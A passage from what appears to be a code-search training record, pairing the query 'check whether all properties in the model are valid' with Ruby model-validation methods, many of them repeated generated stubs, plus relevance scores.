"def list_invalid_properties\n invalid_properties = super\n if @class_id.nil?\n invalid_properties.push('invalid value for \"class_id\", class_id cannot be nil.')\n end\n\n if @object_type.nil?\n invalid_properties.push('invalid value for \"object_type\", object_type cannot be nil.')\n end\n\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n if @class_id.nil?\n invalid_properties.push('invalid value for \"class_id\", class_id cannot be nil.')\n end\n\n if @object_type.nil?\n invalid_properties.push('invalid value for \"object_type\", object_type cannot be nil.')\n end\n\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n if @class_id.nil?\n invalid_properties.push('invalid value for \"class_id\", class_id cannot be nil.')\n end\n\n if @object_type.nil?\n invalid_properties.push('invalid value for \"object_type\", object_type cannot be nil.')\n end\n\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n if @class_id.nil?\n invalid_properties.push('invalid value for \"class_id\", class_id cannot be nil.')\n end\n\n if @object_type.nil?\n invalid_properties.push('invalid value for \"object_type\", object_type cannot be nil.')\n end\n\n pattern = Regexp.new(/^$|^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$/)\n if !@uuid.nil? && @uuid !~ pattern\n invalid_properties.push(\"invalid value for \\\"uuid\\\", must conform to the pattern #{pattern}.\")\n end\n\n pattern = Regexp.new(/^$|^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$/)\n if !@vdisk_id.nil? && @vdisk_id !~ pattern\n invalid_properties.push(\"invalid value for \\\"vdisk_id\\\", must conform to the pattern #{pattern}.\")\n end\n\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n if @style.nil?\n invalid_properties.push('invalid value for \"style\", style cannot be nil.')\n end\n\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n if @class_id.nil?\n invalid_properties.push('invalid value for \"class_id\", class_id cannot be nil.')\n end\n\n if @object_type.nil?\n invalid_properties.push('invalid value for \"object_type\", object_type cannot be nil.')\n end\n\n if !@name.nil? && @name.to_s.length > 31\n invalid_properties.push('invalid value for \"name\", the character length must be smaller than or equal to 31.')\n end\n\n pattern = Regexp.new(/^[a-zA-Z0-9\\-\\._:]+$/)\n if !@name.nil? && @name !~ pattern\n invalid_properties.push(\"invalid value for \\\"name\\\", must conform to the pattern #{pattern}.\")\n end\n\n pattern = Regexp.new(/^$|((^20|5[0-9a-fA-F]{1}):([0-9a-fA-F]{2}:){6}([0-9a-fA-F]{2}))/)\n if !@static_wwpn_address.nil? && @static_wwpn_address !~ pattern\n invalid_properties.push(\"invalid value for \\\"static_wwpn_address\\\", must conform to the pattern #{pattern}.\")\n end\n\n pattern = Regexp.new(/^$|((^20|5[0-9a-fA-F]{1}):([0-9a-fA-F]{2}:){6}([0-9a-fA-F]{2}))/)\n if !@wwpn.nil? && @wwpn !~ pattern\n invalid_properties.push(\"invalid value for \\\"wwpn\\\", must conform to the pattern #{pattern}.\")\n end\n\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n if @is_object_icon.nil?\n invalid_properties.push('invalid value for \"is_object_icon\", is_object_icon cannot be nil.')\n end\n\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n if @input_currency.nil?\n invalid_properties.push('invalid value for \"input_currency\", input_currency cannot be nil.')\n end\n\n if @sender.nil?\n invalid_properties.push('invalid value for \"sender\", sender cannot be nil.')\n end\n\n if @recipients.nil?\n invalid_properties.push('invalid value for \"recipients\", recipients cannot be nil.')\n end\n\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n if @index.nil?\n invalid_properties.push('invalid value for \"index\", index cannot be nil.')\n end\n\n if @orientation.nil?\n invalid_properties.push('invalid value for \"orientation\", orientation cannot be nil.')\n end\n\n if @size.nil?\n invalid_properties.push('invalid value for \"size\", size cannot be nil.')\n end\n\n if @type.nil?\n invalid_properties.push('invalid value for \"type\", type cannot be nil.')\n end\n\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n if @direction.nil?\n invalid_properties.push('invalid value for \"direction\", direction cannot be nil.')\n end\n\n if @shape.nil?\n invalid_properties.push('invalid value for \"shape\", shape cannot be nil.')\n end\n\n if @linear_angle.nil?\n invalid_properties.push('invalid value for \"linear_angle\", linear_angle cannot be nil.')\n end\n\n if @is_scaled.nil?\n invalid_properties.push('invalid value for \"is_scaled\", is_scaled cannot be nil.')\n end\n\n if @tile_flip.nil?\n invalid_properties.push('invalid value for \"tile_flip\", tile_flip cannot be nil.')\n end\n\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n if @format.nil?\n invalid_properties.push('invalid value for \"format\", format cannot be nil.')\n end\n\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end"
] |
[
"0.76497203",
"0.76497203",
"0.76497203",
"0.76497203",
"0.7637422",
"0.7637422",
"0.7637422",
"0.7637422",
"0.7637422",
"0.7637422",
"0.7637422",
"0.7637422",
"0.7356452",
"0.7334807",
"0.72685325",
"0.7238964",
"0.7231359",
"0.72258264",
"0.7208294",
"0.71760833",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241",
"0.7170241"
] |
0.0
|
-1
|
Check to see if the all the properties in the model are valid
|
def valid?
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def validate_properties\n true\n end",
"def validate_properties\n true\n end",
"def validate\n super\n\n check_optional_property :collection, String\n check_optional_property :create, String\n check_optional_property :delete, String\n check_optional_property :flush, String\n check_optional_property :prefetch, String\n check_optional_property :request_to_query, String\n check_optional_property :resource_to_request_patch, String\n check_optional_property :return_if_object, String\n check_optional_property :self_link, String\n end",
"def valid_attributes?\n true\n end",
"def valid_attributes?\n attribute_errors.empty?\n end",
"def valid?\n return false if @property_code.nil?\n return false if @property_name.nil?\n return false if @location.nil?\n return false if @total_price.nil?\n return false if @min_daily_rate.nil?\n return true\n end",
"def validate_presence_of(klazz, properties)\r\n instance = klazz.new \r\n instance.should_not be_valid\r\n \r\n properties.each do |property| \r\n instance.errors.should be_invalid(property)\r\n err_properties = instance.errors[property]\r\n if err_properties.is_a? Array\r\n err_properties.include?(ActiveRecord::Errors.default_error_messages[:blank]).should be_true\r\n else\r\n err_properties.should == ActiveRecord::Errors.default_error_messages[:blank] \r\n end\r\n end \r\n end",
"def validate_attributes!(attributes)\n invalid_properties = attributes.keys.map(&:to_s) - self.attributes.keys\n raise UndefinedPropertyError, \"Undefined properties: #{invalid_properties.join(',')}\" if invalid_properties.size > 0\n end",
"def model_valid?\n true\n end",
"def model_valid?\n true\n end",
"def valid?\n self.errors = []\n self.content_type.fields.each do |field|\n if field.required\n if self.dynamic_getter(field.name).blank?\n self.errors << field.name\n end\n end\n end\n self.errors.blank?\n end",
"def valid?\n validate\n @model.errors.on(:preferences).blank?\n end",
"def validate_properties\n if @properties.keys.count > 0\n if @properties.key?(:label)\n unless @properties[:label] =~ /^[a-zA-Z][\\w|\\s]*$/\n raise 'property label validation error'\n end\n end\n\n if @properties.key?(:default_aggregate)\n unless @properties[:default_aggregate] =~ /^max$|^min$|^avg$|^count$/i\n raise 'property default_aggregate validation error'\n end\n end\n end\n end",
"def validate_properties\n @properties.each do |property, values|\n valid_values = validate_values(property, values)\n\n if valid_values.is_a?(Array) && valid_values == [] || valid_values.nil?\n @properties.delete(property)\n else\n @properties[property] = valid_values\n end\n end\n end",
"def validate\n valid?\n end",
"def validate_attributes!(attributes)\n return attributes if attributes.blank?\n invalid_properties = attributes.keys.map(&:to_s) - self.attributes.keys\n invalid_properties.reject! { |name| self.respond_to?(\"#{name}=\") }\n fail UndefinedPropertyError, \"Undefined properties: #{invalid_properties.join(',')}\" if !invalid_properties.empty?\n end",
"def is_valid; end",
"def valid?\n # TODO validate nested objects\n output = super\n errors.empty? && output\n end",
"def property_checks\n errors.add(:base, \"You can't have a Thing without properties\") if property_keys.empty?\n\n self.property_keys.each do |key|\n errors.add(:properties, \"'#{key}' is an invalid property for this List\") unless available_property_keys.include?(key)\n end\n end",
"def valid_for_attributes( model, attributes )\n unless model.valid?\n errors = model.errors\n our_errors = Array.new\n errors.each { |attr,error|\n if attributes.include? attr\n our_errors << [attr,error]\n end\n }\n errors.clear\n our_errors.each { |attr,error| errors.add(attr,error) }\n return false unless errors.empty?\n end\n return true\n end",
"def valid?\n type_validator = EnumAttributeValidator.new('String', [\"person\", \"business\"])\n return false unless type_validator.valid?(@type)\n return false if @country.nil?\n return false if @street.nil?\n return false if @postal_code.nil?\n return false if @city.nil?\n return false if @email.nil?\n return false if @ip.nil?\n identification_type_validator = EnumAttributeValidator.new('String', [\"DL\", \"PP\", \"ID\", \"OT\"])\n return false unless identification_type_validator.valid?(@identification_type)\n legal_entity_type_validator = EnumAttributeValidator.new('String', [\"sole_proprietorship\", \"partnership\", \"privately_owned_company\", \"publicly_owned_company\", \"government_owned_entity\", \"trust\", \"ngo\", \"club_and_society\", \"go\", \"other\", \"financial_institution\", \"mto\"])\n return false unless legal_entity_type_validator.valid?(@legal_entity_type)\n nature_of_business_validator = EnumAttributeValidator.new('String', [\"personal\", \"agriculture_and_hunting\", \"forestry\", \"fishing\", \"agricultural_by_products\", \"coal_mining\", \"oil_mining\", \"iron_ore_mining\", \"other_metal_and_diamond_mining\", \"other_mineral_mining\", \"manufacturing_of_food_drink_tobacco\", \"manufacturing_of_textiles_leather_fur_furniture\", \"manufacture_of_wooden_products_furniture\", \"manufacture_of_paper_pulp_allied_products\", \"manufacture_of_chemicals_medical_petroleum_rubber_plastic_products\", \"manufacture_of_pottery_china_glass_stone\", \"manufacture_of_iron_steel_non_ferrous_metals_basic_industries\", \"manufacture_of_metal_products_electrical_and_scientific_engineering\", \"manufacture_of_jewelry_musical_instruments_toys\", \"electricity_gas_and_water\", \"construction\", \"wholesale_trade\", \"retail_trade\", \"catering_incl_hotels\", \"transport_storage\", \"communications\", \"finance_and_holding_companies\", \"insurance\", \"business_services\", \"real_estate_development_investment\", \"central_state_governments\", \"community_services_defence_police_prisons_etc\", \"social_services_education_health_care\", \"personal_services_leisure_services\", \"personal_services_domestic_laundry_repairs\", \"personal_services_embassies_international_organisations\"])\n return false unless nature_of_business_validator.valid?(@nature_of_business)\n return false if @documents.nil?\n gender_validator = EnumAttributeValidator.new('String', [\"M\", \"F\", \"O\"])\n return false unless gender_validator.valid?(@gender)\n true\n end",
"def valid?\n return false if !super\n return false if @index.nil?\n return false if @orientation.nil?\n orientation_validator = EnumAttributeValidator.new('String', ['Horizontal', 'Vertical'])\n return false unless orientation_validator.valid?(@orientation)\n return false if @size.nil?\n size_validator = EnumAttributeValidator.new('String', ['Full', 'Half', 'Quarter'])\n return false unless size_validator.valid?(@size)\n return false if @type.nil?\n type_validator = EnumAttributeValidator.new('String', ['Title', 'Body', 'CenteredTitle', 'Subtitle', 'DateAndTime', 'SlideNumber', 'Footer', 'Header', 'Object', 'Chart', 'Table', 'ClipArt', 'Diagram', 'Media', 'SlideImage', 'Picture'])\n return false unless type_validator.valid?(@type)\n true\n end",
"def validate\n validate_string_attributes\n @relations.map(&:validate)\n end",
"def is_valid?\n end",
"def run_validations\n true\n end",
"def validate\n validate_params\n validate_colour\n validate_coordinates\n validate_dimension\n end",
"def checkAttributeRequirements\n if @valid_attributes.empty?\n @error_text = \"No valid attributes found\"\n return false\n elsif (@mandatory_attributes_from_db & @valid_attributes) != @mandatory_attributes_from_db\n missing_attr = @mandatory_attributes_from_db - (@mandatory_attributes_from_db & @valid_attributes)\n\n x_attr_txt = \"\"\n missing_attr.each {|x_attr| x_attr_txt += x_attr[:name] + \", \"}\n @error_text = \"Mandatory attributes #{x_attr_txt[0..-3]} is/are missing\"\n return false\n end\n\n return true\n end",
"def validations\n {}\n end",
"def validatable?\n true\n end",
"def validate\n validate_params\n validate_coordinates\n validate_colour\n validate_dimension\n end",
"def validate_required\n [\n :project_name,\n :status,\n :requester_id,\n :subject_expert_id,\n :sponsor_id,\n :vision,\n :goal,\n :description,\n :scope,\n :advice_required,\n :program_id,\n :train_id,\n :funding_method,\n :cost_center,\n :funding_status,\n :budget_allocated,\n :priority,\n :start_date,\n :end_date,\n :risk_rating,\n :risks,\n :projected_revenue,\n ].each do |field|\n if self.attributes[field.to_s].nil? || self.attributes[field.to_s].blank?\n # intentionally vague!\n add_validation 'All fields are required to perform further validations'\n return false\n end\n end\n true\n end",
"def validate\n validate_root\n validate_associated\n valid?\n end",
"def validate\n true\n end",
"def valid?\n return false if @id.nil?\n return false if @created.nil?\n return false if @modified.nil?\n return false if @company_name.nil?\n return false if @company_name.to_s.length < 1\n return false if @domain_name.nil?\n return false if @state.nil?\n state_validator = EnumAttributeValidator.new('String', [\"active\", \"deactivated\"])\n return false unless state_validator.valid?(@state)\n return false if @billing_email.nil?\n return false if @application_count.nil?\n return false if @user_count.nil?\n return false if @campaigns_active_count.nil?\n return false if @campaigns_inactive_count.nil?\n true\n end",
"def valid?\n _errors_before = self.errors.dup\n _s = super\n validate_attributes\n _errors_before.each { |e| append_error(_errors_before,e) }\n self.errors.empty?\n end",
"def valid?\n true\n end",
"def validate!\n expected_props, required_props = @properties.keys, @required\n\n unless is_a?(Dialect) || is_a?(Template)\n expected_props = expected_props + INHERITED_PROPERTIES.keys\n end\n\n # It has only expected properties (exclude metadata)\n keys = self.keys - [:\"@context\"]\n keys = keys.reject {|k| k.to_s.include?(':')} unless is_a?(Dialect)\n raise \"#{type} has unexpected keys: #{keys - expected_props}\" unless keys.all? {|k| expected_props.include?(k)}\n\n # It has required properties\n raise \"#{type} missing required keys: #{required_props & keys}\" unless (required_props & keys) == required_props\n\n # Every property is valid\n keys.each do |key|\n value = self[key]\n is_valid = case key\n when :columns\n column_names = value.map(&:name)\n value.is_a?(Array) &&\n value.all? {|v| v.is_a?(Column) && v.validate!} &&\n begin\n # The name properties of the column descriptions must be unique within a given table description.\n column_names = value.map(&:name)\n raise \"Columns must have unique names\" if column_names.uniq != column_names\n true\n end\n when :commentPrefix then value.is_a?(String) && value.length == 1\n when :datatype then value.is_a?(String) && DATATYPES.keys.map(&:to_s).include?(value)\n when :default then value.is_a?(String)\n when :delimiter then value.is_a?(String) && value.length == 1\n when :dialect then value.is_a?(Dialect) && value.validate!\n when :doubleQuote then %w(true false 1 0).include?(value.to_s.downcase)\n when :encoding then Encoding.find(value)\n when :foreignKeys\n # An array of foreign key definitions that define how the values from specified columns within this table link to rows within this table or other tables. A foreign key definition is a JSON object with the properties:\n value.is_a?(Array) && value.all? do |fk|\n raise \"Foreign key must be an object\" unless fk.is_a?(Hash)\n columns, reference = fk['columns'], fk['reference']\n raise \"Foreign key missing columns and reference\" unless columns && reference\n raise \"Foreign key has extra entries\" unless fk.keys.length == 2\n raise \"Foreign key must reference columns\" unless Array(columns).all? {|k| self.columns.any? {|c| c.name == k}}\n raise \"Foreign key reference must be an Object\" unless reference.is_a?(Hash)\n\n if reference.has_key?('resource')\n raise \"Foreign key having a resource reference, must not have a schema\" if reference.has_key?('schema')\n # FIXME resource is a URL of a specific resource (table) which must exist\n elsif reference.has_key?('schema')\n # FIXME schema is a URL of a specific schema which must exist\n end\n # FIXME: columns\n true\n end\n when :format then value.is_a?(String)\n when :header then %w(true false 1 0).include?(value.to_s.downcase)\n when :headerColumnCount, :headerRowCount\n value.is_a?(Numeric) && value.integer? && value > 0\n when :length\n # Applications must raise an error if length, maxLength or minLength are specified and the cell value is not a list (ie separator is not specified), a string or one of its subtypes, or a binary value.\n raise \"Use if minLength or maxLength with length requires separator\" if self[:minLength] || self[:maxLength] && !self[:separator]\n raise \"Use of both length and minLength requires they be equal\" unless self.fetch(:minLength, value) == value\n raise \"Use of both length and maxLength requires they be equal\" unless self.fetch(:maxLength, value) == value\n value.is_a?(Numeric) && value.integer? && value > 0\n when :language then BCP47::Language.identify(value)\n when :lineTerminator then value.is_a?(String)\n when :minimum, :maximum, :minInclusive, :maxInclusive, :minExclusive, :maxExclusive\n value.is_a?(Numeric) ||\n RDF::Literal::Date.new(value).valid? ||\n RDF::Literal::Time.new(value).valid? ||\n RDF::Literal::DateTime.new(value).valid?\n when :minLength, :maxLength\n value.is_a?(Numeric) && value.integer? && value > 0\n when :name then value.is_a?(String) && !name.start_with?(\"_\")\n when :notes then value.is_a?(Array) && value.all? {|v| v.is_a?(Hash)}\n when :null then value.is_a?(String)\n when :predicateUrl then Array(value).all? {|v| RDF::URI(v).valid?}\n when :primaryKey\n # A column reference property that holds either a single reference to a column description object or an array of references.\n Array(value).all? do |k|\n self.columns.any? {|c| c.name == k}\n end\n when :quoteChar then value.is_a?(String) && value.length == 1\n when :required then %w(true false 1 0).include?(value.to_s.downcase)\n when :resources then value.is_a?(Array) && value.all? {|v| v.is_a?(Table) && v.validate!}\n when :schema then value.is_a?(Schema) && value.validate!\n when :separator then value.nil? || value.is_a?(String) && value.length == 1\n when :skipInitialSpace then %w(true false 1 0).include?(value.to_s.downcase)\n when :skipBlankRows then %w(true false 1 0).include?(value.to_s.downcase)\n when :skipColumns then value.is_a?(Numeric) && value.integer? && value >= 0\n when :skipRows then value.is_a?(Numeric) && value.integer? && value >= 0\n when :source then %w(json rdf).include?(value)\n when :\"table-direction\" then %w(rtl ltr default).include?(value)\n when :targetFormat, :templateFormat then RDF::URI(value).valid?\n when :templates then value.is_a?(Array) && value.all? {|v| v.is_a?(Template) && v.validate!}\n when :\"text-direction\" then %w(rtl ltr).include?(value)\n when :title then valid_natural_language_property?(value)\n when :trim then %w(true false 1 0 start end).include?(value.to_s.downcase)\n when :urlTemplate then value.is_a?(String)\n when :@id then @id.valid?\n when :@type then value.to_sym == type\n else\n raise \"?!?! shouldn't get here for key #{key}\"\n end\n raise \"#{type} has invalid #{key}: #{value.inspect}\" unless is_valid\n end\n\n self\n end",
"def valid?\n return false if @subject_property.nil?\n return false if @proprietorship.nil?\n proprietorship_validator = EnumAttributeValidator.new('String', [\"Unknown\", \"Sole\", \"Joint\"])\n return false unless proprietorship_validator.valid?(@proprietorship)\n return false if @surname.nil?\n return false if @forename.nil?\n return false if @middle_name.nil?\n return true\n end",
"def valid?\n return false if @class_id.nil?\n class_id_validator = EnumAttributeValidator.new('String', [\"cond.HclStatusDetail\"])\n return false unless class_id_validator.valid?(@class_id)\n return false if @object_type.nil?\n object_type_validator = EnumAttributeValidator.new('String', [\"cond.HclStatusDetail\"])\n return false unless object_type_validator.valid?(@object_type)\n hardware_status_validator = EnumAttributeValidator.new('String', [\"Missing-Os-Driver-Info\", \"Incompatible-Server-With-Component\", \"Incompatible-Processor\", \"Incompatible-Os-Info\", \"Incompatible-Component-Model\", \"Incompatible-Firmware\", \"Incompatible-Driver\", \"Incompatible-Firmware-Driver\", \"Service-Unavailable\", \"Service-Error\", \"Unrecognized-Protocol\", \"Not-Evaluated\", \"Compatible\"])\n return false unless hardware_status_validator.valid?(@hardware_status)\n reason_validator = EnumAttributeValidator.new('String', [\"Missing-Os-Driver-Info\", \"Incompatible-Server-With-Component\", \"Incompatible-Processor\", \"Incompatible-Os-Info\", \"Incompatible-Component-Model\", \"Incompatible-Firmware\", \"Incompatible-Driver\", \"Incompatible-Firmware-Driver\", \"Service-Unavailable\", \"Service-Error\", \"Unrecognized-Protocol\", \"Not-Evaluated\", \"Compatible\"])\n return false unless reason_validator.valid?(@reason)\n software_status_validator = EnumAttributeValidator.new('String', [\"Missing-Os-Driver-Info\", \"Incompatible-Server-With-Component\", \"Incompatible-Processor\", \"Incompatible-Os-Info\", \"Incompatible-Component-Model\", \"Incompatible-Firmware\", \"Incompatible-Driver\", \"Incompatible-Firmware-Driver\", \"Service-Unavailable\", \"Service-Error\", \"Unrecognized-Protocol\", \"Not-Evaluated\", \"Compatible\"])\n return false unless software_status_validator.valid?(@software_status)\n status_validator = EnumAttributeValidator.new('String', [\"Incomplete\", \"Not-Found\", \"Not-Listed\", \"Validated\", \"Not-Evaluated\"])\n return false unless status_validator.valid?(@status)\n true && super\n end",
"def core_attributes_valid\n core_attributes = [@rateable, @rater, @ratee, @rating_type]\n return if core_attributes.all? { |atr| atr.present? && atr.valid? }\n errors.add('message', 'Not all core attributes present and valid.')\n end",
"def valid?\n super\n errors.empty?\n end",
"def valid?\n \n if @account_id.nil?\n false\n elsif @campaign_id.nil?\n false\n elsif @csp_id.nil?\n false\n elsif @status.nil?\n false\n elsif @create_date.nil?\n false\n elsif @auto_renewal.nil?\n false\n elsif @brand_id.nil?\n false\n elsif @usecase.nil?\n false\n elsif @sub_usecases.nil?\n false\n elsif @description.nil?\n false\n elsif @embedded_link.nil?\n false\n elsif @embedded_phone.nil?\n false\n elsif @affiliate_marketing.nil?\n false\n elsif @number_pool.nil?\n false\n elsif @age_gated.nil?\n false\n elsif @direct_lending.nil?\n false\n elsif @subscriber_optin.nil?\n false\n elsif @subscriber_optout.nil?\n false\n elsif @subscriber_help.nil?\n false\n elsif @sample1.nil?\n false\n elsif @mock.nil?\n false\n else\n list_invalid_properties.length() == 0\n end\n end",
"def valid?(metadata)\n validate.each do |attr|\n return false if metadata[attr.to_sym].nil? || metadata[attr.to_sym].zero?\n end\n end",
"def is_valid\n return true\n end",
"def validate_attrs\n @target.present? && !@target.errors.any? && @actor.present? && @action_key.present?\n end",
